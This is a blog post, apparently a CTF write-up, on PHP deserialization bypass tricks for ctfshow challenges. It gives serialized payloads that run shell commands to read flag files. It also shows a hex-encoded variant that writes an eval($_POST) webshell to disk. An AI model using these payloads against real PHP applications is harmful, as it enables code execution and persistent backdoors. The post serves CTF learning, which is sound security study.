当前位置: 首页 > news >正文

【Web】PHP反序列化的一些trick

目录

①__wakeup绕过

②加号绕过正则匹配

③引用绕过相等

④16进制绕过关键词过滤

⑤Exception绕过

⑥字符串逃逸


要中期考试乐(悲)

①__wakeup绕过


反序列化字符串中表示属性数量的值 大于 大括号内实际属性的数量时,wakeup方法会被绕过
(php5-php5.6.25;php7-php7.0.10)

②加号绕过正则匹配

例题1:web56

$a=new backdoor();
$a->name='system("tac /f*");';
echo serialize($a);//O:8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}
//O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}

 payload:

data=O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}

③引用绕过相等

例题2:web57

用&保证password和secret指向相同的内存引用地址

<?phpclass login{public $username='admin';public $password;public $secret;private $code="system('cat /f1ag');";public function __wakeup(){$this->secret = file_get_contents("/f1ag");}public function check_login(){if($this->username = 'admin' && $this->password==$this->secret){eval($this->code);}}
}
$a=new login();
$a->password=&$a->secret;
echo urlencode(serialize($a));//O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D

payload:

data=O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D 

④16进制绕过关键词过滤

反序列化后的字符串,不能出现某个关键单词时,可以使用大S绕过(表示支持assic码的hex值)

举例:

?web=O:3:"syc":1:{s:5:"lover";s:56:"file_put_contents('1.php','<?php eval($_POST[cmd]);?>');";

当lover被过滤的时候,可以如下绕过

推荐一个在线平台:

在线字符串和16进制互转

?web=O:3:"syc":1:{S:5:"\6c\6f\76\65\72";s:56:"file_put_contents('1.php','<?php eval($_POST[cmd]);?>');";

⑤Exception绕过

破坏反序列化结构即可

例题3:web59

$a=new backdoor();
echo serialize($a);//O:8:"backdoor":0:{}
//O:8:"backdoor":0:{

payload:

data= O:8:"backdoor":0:{

⑥字符串逃逸

例题4:web60

 system->ctfshow(由6变7)

要逃逸的字符串:

";s:1:"a";s:7:"tac /f*";}

(总长25)

最终payload:

m=systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:7:"tac /f*";}

相关文章:

【Web】PHP反序列化的一些trick

目录 ①__wakeup绕过 ②加号绕过正则匹配 ③引用绕过相等 ④16进制绕过关键词过滤 ⑤Exception绕过 ⑥字符串逃逸 要中期考试乐(悲) ①__wakeup绕过 反序列化字符串中表示属性数量的值 大于 大括号内实际属性的数量时&#xff0c;wakeup方法会被绕过 &#xff08;php5-p…...

【测试功能篇 01】Jmeter 压测接口最大并发量、吞吐量、TPS

压力测试&#xff0c;我们针对比较关键的接口&#xff0c;可以进行相应的压力测试&#xff0c;主要还是测试看看接口能抗住多少的请求数&#xff0c;TPS稳定在多少&#xff0c;也就是吞吐量多少 安装 Jmeter的安装很简单&#xff0c;官网下载地址 http://jmeter.apache.org/ &…...

代码随想录算法训练营第四十九天| 123.买卖股票的最佳时机III 188.买卖股票的最佳时机IV

文档讲解&#xff1a;代码随想录 视频讲解&#xff1a;代码随想录B站账号 状态&#xff1a;看了视频题解和文章解析后做出来了 123.买卖股票的最佳时机III class Solution:def maxProfit(self, prices: List[int]) -> int:if len(prices) 0:return 0dp [[0] * 5 for _ in…...

11.20 知识总结(choices参数、MVC和MTV的模式、Django与Ajax技术)

一、 choices参数的使用 1.1 作用 针对某个可以列举完全的可能性字段&#xff0c;我们应该如何存储 .只要某个字段的可能性是可以列举完全的&#xff0c;那么一般情况下都会采用choices参数 1.2 应用场景 应用场景&#xff1a; 学历&#xff1a; 小学 初中 高中 本科 硕士…...

深度学习二维码识别 计算机竞赛

文章目录 0 前言2 二维码基础概念2.1 二维码介绍2.2 QRCode2.3 QRCode 特点 3 机器视觉二维码识别技术3.1 二维码的识别流程3.2 二维码定位3.3 常用的扫描方法 4 深度学习二维码识别4.1 部分关键代码 5 测试结果6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天…...

C#关于TimeSpan结构的使用和获取两个时间差

C#中的TimeSpan结构可以获取两个时间的时间差。 它主要具有以下属性和方法&#xff1a; 属性&#xff1a; Days&#xff1a;获取时间间隔的天数部分。Hours&#xff1a;获取时间间隔的小时数部分&#xff08;不包括整天的小时数&#xff09;。Minutes&#xff1a;获取时间间…...

Git分支管理

愿所有美好如期而遇 目录 理解分支 创建分支 切换分支 合并分支 删除分支 合并冲突 分支管理策略 理解分支 每次提交master都会前进一步&#xff0c;随着不断提交&#xff0c;master分支的线越来越长&#xff0c;而HEAD指向哪条分支就是当前工作的分支。 master分支是我…...

《视觉SLAM十四讲》-- 建图

11 建图 11.1 概述 &#xff08;1&#xff09;地图的几类用处&#xff1a; 定位&#xff1a;导航&#xff1a;机器人在地图中进行路径规划&#xff1b;避障重建交互&#xff1a;人与地图之间的互动 &#xff08;2&#xff09;几类地图 稀疏地图稠密地图语义地图 11.2 单目…...

智能配电箱柜管理系统

智能配电箱柜管理系统是一个综合性的管理系统&#xff0c;专门设计用于监控和控制智能配电箱和柜的运行。这个系统集成了先进的技术和智能化功能&#xff0c;以确保配电系统的正常运行并提高其效率。依托电易云-智慧电力物联网&#xff0c;以下是智能配电箱柜管理系统的主要特点…...

聊聊近些年 CPU 在微架构、IO 速率上的演进过程

大家好&#xff0c;我是飞哥&#xff01; 在上一篇《深入了解 CPU 的型号、代际架构与微架构》 中我们介绍了我手头的一颗 Intel(R) Core(TM) i5 的型号规则&#xff0c;以及它的物理硬件的 Die 图结构。以及它对应的 Skylake 核的微架构实现。 不少同学开始问我其它型号的 CPU…...

PS学习笔记——移动工具

文章目录 介绍文档内移动文档间移动 介绍 移动工具&#xff1a;用于移动图层中的对象&#xff0c;并且同一图层中的所有对象都将一起移动 选中移动工具后&#xff0c;选项栏中会出现“显示变换控件”&#xff0c;勾选后即可看见图层中的对象周围出现边框&#xff0c;可以进行缩…...

信息中心网络提出的背景、研究现状及研究内容

信息中心网络什么时候提出的&#xff1f;未来发展前景&#xff1f;有什么著名实验室在做&#xff1f; 1、提出背景&#xff1a; 互联网产生于上世纪60年代&#xff1a; &#xff08;1&#xff09;网络设备数量呈指数性增长 截至2022年底全球范围内预计将有超过280亿台终端设…...

【计算机视觉】24-Object Detection

文章目录 24-Object Detection1. Introduction2. Methods2.1 Sliding Window2.2 R-CNN: Region-Based CNN2.3 Fast R-CNN2.4 Faster R-CNN: Learnable Region Proposals2.5 Results of objects detection 3. SummaryReference 24-Object Detection 1. Introduction Task Defin…...

【mac 解决eclipse意外退出】

打开eclipse时提示报错信息应用程序"Eclipse.app"无法打开&#xff08;这里忘了截图就不上图了&#xff09;。 点击 “好” 的按钮后会弹出发送报告的弹窗 终端输入&#xff1a;sudo codesign --force --deep --sign - /Applications/Eclipse.app/ 就可以解决了...

mysql innodb buffer pool缓冲池命中率和命中了哪些表?—— 筑梦之路

环境说明 mysql 5.7及以上 公式 # InnoDB缓冲区缓存的命中率计算公式100 * (1 - (innodb_buffer_pool_reads/innodb_buffer_pool_read_requests ))注意: 对于具有大型缓冲池的系统&#xff0c;既要关注该比率&#xff0c;也要关注OS页面读写速率的变化可以更好地跟踪差异。s…...

牛掰的dd命令,cpi0配合find备份(不会主动备份),od查看

dd if设备1或文件 of设备2或文件 blocknsize countn 还原就是把设备1,2调过来 这里想到dump的还原是命令restore&#xff0c;想起来就写一下&#xff0c;省的总忘记 可以针对整块磁盘进行复制&#xff0c;对于新创建的分区&#xff0c;也不用格式化&#xff0c;可以直接…...

pip list 和 conda list的区别

PS : 网上说conda activate了之后就可以随意pip了 可以conda和pip混用 但是安全起见还是尽量用pip 这样就算activate了&#xff0c;进入base虚拟环境了 conda与pip的区别 来源 Conda和pip通常被认为几乎完全相同。虽然这两个工具的某些功能重叠&#xff0c;但它们设计用于不…...

多目标应用:基于多目标灰狼优化算法MOGWO求解微电网多目标优化调度(MATLAB代码)

一、微网系统运行优化模型 微电网优化模型介绍&#xff1a; 微电网多目标优化调度模型简介_IT猿手的博客-CSDN博客 二、多目标灰狼优化算法MOGWO 多目标灰狼优化算法MOGWO简介&#xff1a; 三、多目标灰狼优化算法MOGWO求解微电网多目标优化调度 &#xff08;1&#xff09…...

LangChain 2模块化prompt template并用streamlit生成网站 实现给动物取名字

上一节实现了 LangChain 实现给动物取名字&#xff0c; 实际上每次给不同的动物取名字&#xff0c;还得修改源代码&#xff0c;这周就用模块化template来实现。 1. 添加promptTemplate from langchain.llms import OpenAI # 导入Langchain库中的OpenAI模块 from langchain.p…...

linux nas

挂载到本地 mkdir -p /mnt/mountnasdir mount -t nfs 192.168.62:/cnas_id10086_vol10010_dev/ /mnt/mountnasdir...

PowerToys中文汉化:让Windows效率工具真正为你所用

PowerToys中文汉化&#xff1a;让Windows效率工具真正为你所用 【免费下载链接】PowerToys-CN PowerToys Simplified Chinese Translation 微软增强工具箱 自制汉化 项目地址: https://gitcode.com/gh_mirrors/po/PowerToys-CN 你是否曾经面对微软PowerToys的强大功能却…...

公共卫生响应系统:交互式仪表盘+医疗聊天机器人+时序预测

1. 项目概述&#xff1a;这不是一个“疫情看板”&#xff0c;而是一套可落地的公共卫生响应辅助工具“Interactive COVID-19 Dashboard With Chatbot and Prediction Capabilities”——这个标题里藏着三个被很多人忽略的关键动词&#xff1a;Interactive&#xff08;交互式&am…...

Generative AI落地四层架构与企业级避坑指南

1. 这不是“AI画画”或“AI写文案”——它是一场底层认知范式的迁移Generative AI&#xff0c;这个词现在几乎天天刷屏&#xff0c;但很多人点开一篇介绍&#xff0c;看到的还是“用MidJourney生成海报”“让ChatGPT写周报”这类表层操作。这就像当年第一次听说“互联网”&…...

3分钟掌握加密压缩包密码破解:ArchivePasswordTestTool终极实战指南

3分钟掌握加密压缩包密码破解&#xff1a;ArchivePasswordTestTool终极实战指南 【免费下载链接】ArchivePasswordTestTool 利用7zip测试压缩包的功能 对加密压缩包进行自动化测试密码 项目地址: https://gitcode.com/gh_mirrors/ar/ArchivePasswordTestTool 你是否曾经…...

[特殊字符]LeetCode每日一题思维训练234.回文链表|拒绝无脑AC,练会核心思维(2026-5-21)

刷LeetCode最扎心的不是做不出来&#xff0c;而是AC了却没get核心思路&#xff0c;面试换个变体就直接懵圈&#xff0c;白刷一场&#xff01; &#x1f449; 每日一题思维训练 ✨ 它和普通题解工具不一样&#xff1a;不直接甩答案&#xff0c;只引导你主动思考&#xff01; 精…...

八股整理之JVM篇

JVM的内存模型介绍一下根据 JDK 8 规范&#xff0c;JVM 运行时内存共分为虚拟机栈、堆、元空间、程序计数器、本地方法栈五个部分。还有一部分内存叫直接内存&#xff0c;属于操作系统的本地内存&#xff0c;也是可以直接操作的。JVM的内存结构主要分为以下几个部分&#xff1a…...

视频字幕提取难题?这个本地OCR工具让你轻松搞定SRT字幕

视频字幕提取难题&#xff1f;这个本地OCR工具让你轻松搞定SRT字幕 【免费下载链接】video-subtitle-extractor 视频硬字幕提取&#xff0c;生成srt文件。无需申请第三方API&#xff0c;本地实现文本识别。基于深度学习的视频字幕提取框架&#xff0c;包含字幕区域检测、字幕内…...

Unity3d之Timeline功能开发

using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.Timeline; using UnityEngine.Playables; using UnityEngine.Events;/// <summary> /// TimeLine控制器 /// </summary> public class TimeLineController : M…...

Python代码性能优化实战:从循环到并发的全方位加速技巧

1. 项目概述&#xff1a;为什么你的Python代码总是“慢半拍”&#xff1f;干了这么多年开发&#xff0c;我见过太多同事和学员写的Python代码&#xff0c;功能上没问题&#xff0c;逻辑也清晰&#xff0c;但就是跑起来“慢半拍”。尤其是在处理数据清洗、批量文件操作或者实现一…...

Python性能优化实战:8个核心技巧提升代码执行效率

1. 项目概述&#xff1a;为什么你的Python代码跑得慢&#xff1f;“Python慢”&#xff0c;这几乎是每个刚入门的开发者都会听到的“刻板印象”。确实&#xff0c;作为一门解释型、动态类型的语言&#xff0c;在纯粹的执行速度上&#xff0c;Python很难与C、C这类编译型语言正面…...